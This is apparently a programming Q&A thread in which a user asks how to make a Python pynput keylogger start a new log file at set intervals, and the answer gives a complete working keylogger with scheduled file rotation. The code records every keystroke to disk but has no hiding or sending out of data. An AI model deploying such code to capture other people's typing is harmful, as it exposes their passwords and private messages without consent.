pythonkeylogger

How to automatically save text file after specific time in python?


This is my keylogger code:

import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime, timedelta, time
import time

start = time.time()

now=datetime.now()
dt=now.strftime('%d%m%Y-%H%M%S')
keys=[]

def on_press(key):
    keys.append(key)
    write_file(keys)
    try:
        print(key.char)
    except AttributeError:
        print(key)

def write_file(keys):
    with open ('log-'+str(dt)+'.txt','w') as f:
        for key in keys:
            # end=time.time()
            # tot_time=end-start
            k=str(key).replace("'","")
            f.write(k.replace("Key.space", ' ').replace("Key.enter", '\n'))
            # if tot_time>5.0:
            #     f.close()
            # else:
            #     continue

with Listener(on_press=on_press) as listener:
    listener.join()

In write_file() function, I've used the close method and also the timer which should automatically save the file after 5 seconds, but that gives me a long 1 paged error whose last line says:

ValueError: I/O operation on closed file.

How do I make my program save the txt file after every 5 seconds and create a new txt file automatically?

NOTE: I actually want the log file to be generated automatically after every 4 hours so that it is not flooded with uncountable words. I've just taken 5 seconds as an example.


Solution

  • You may have to customize the first line.

    schedule = [ '08:00:00', '12:00:00', '16:00:00', '20:00:00'] # schedule for close/open file (must ascend)
    
    import pynput
    from pynput.keyboard import Listener
    
    def on_press(key):
        txt = key.char if hasattr( key, 'char') else ( '<'+key._name_+'>')
        
        # do some conversions and concatenate to line
        if txt == '<space>': txt = ' '
        if txt == None:      txt = '<?key?>' # some keyboards may generate unknown codes for Multimedia
        glo.line += txt
    
        if (len(glo.line) > 50) or (txt=='<enter>'):
            writeFile( glo.fh, glo.line+'\n')
            glo.line = ''
        
    def writeFile( fh, txt):
        fh.write( txt)
    
    def openFile():
        from datetime import datetime
        dt=datetime.now().strftime('%d%m%Y-%H%M%S')
        fh = open( 'log-'+str(dt)+'.txt', 'w') # open (or reopen)
        return fh
    
    def closeFile( fh):
        fh.close()
    
    def closeAndReOpen( fh, line):
        if len( line) > 0:
            writeFile( fh, line+'\n')
        closeFile( fh)
        fh = openFile()
        return fh
      
    class Ticker():
        def __init__( self, sched=None, func=None, parm=None):
            # 2 modes: if func is supplied, tick() will not return. Everything will be internal.
            #          if func is not supplied, it's non-blocking. The callback and sleep must be external.
            self.target = None
            self.sched = sched
            self.func = func
            self.parm = parm
      
        def selectTarget( self):
            for tim in self.sched: # select next target time (they are in ascending order)
                if tim > self.actual:
                    self.target = tim
                    break
            else: self.target = self.sched[0]
            self.today = (self.actual < self.target) # True if target is today.
    
        def tick( self):
            from datetime import datetime
            while True:
                self.actual = datetime.now().strftime( "%H:%M:%S")
                if not self.target: self.selectTarget()
                if self.actual < self.target: self.today = True
                act = (self.actual >= self.target) and self.today # True if target reached
                if act: self.target = '' # next tick will select a new target
                if not self.func: break  # Non-blocking mode: upper level will sleep and call func
                # The following statements are only executed in blocking mode
                if act: self.func( self.parm)
                time.sleep(1)
                  
            return act # will return only if func is not defined
        
    class Glo:
       pass
    
    glo = Glo()
    glo.fh = None
    glo.line = ''
    glo.fini = False
    
    glo.fh = openFile()
    listener = Listener( on_press=on_press)
    listener.start()
    ticker = Ticker( sched=schedule) # start ticker in non-blocking mode.
    
    while not glo.fini:
        import time
        time.sleep(1)
        if ticker.tick():
            # time to close and reopen
            glo.fh = closeAndReOpen( glo.fh, glo.line)
            glo.line = ''
    
    listener.stop()
    writeFile( glo.fh, glo.line+'\n')
    closeFile( glo.fh)
    exit()
    

    If you're satisfied, you may mark the answer as "ACCEPTed".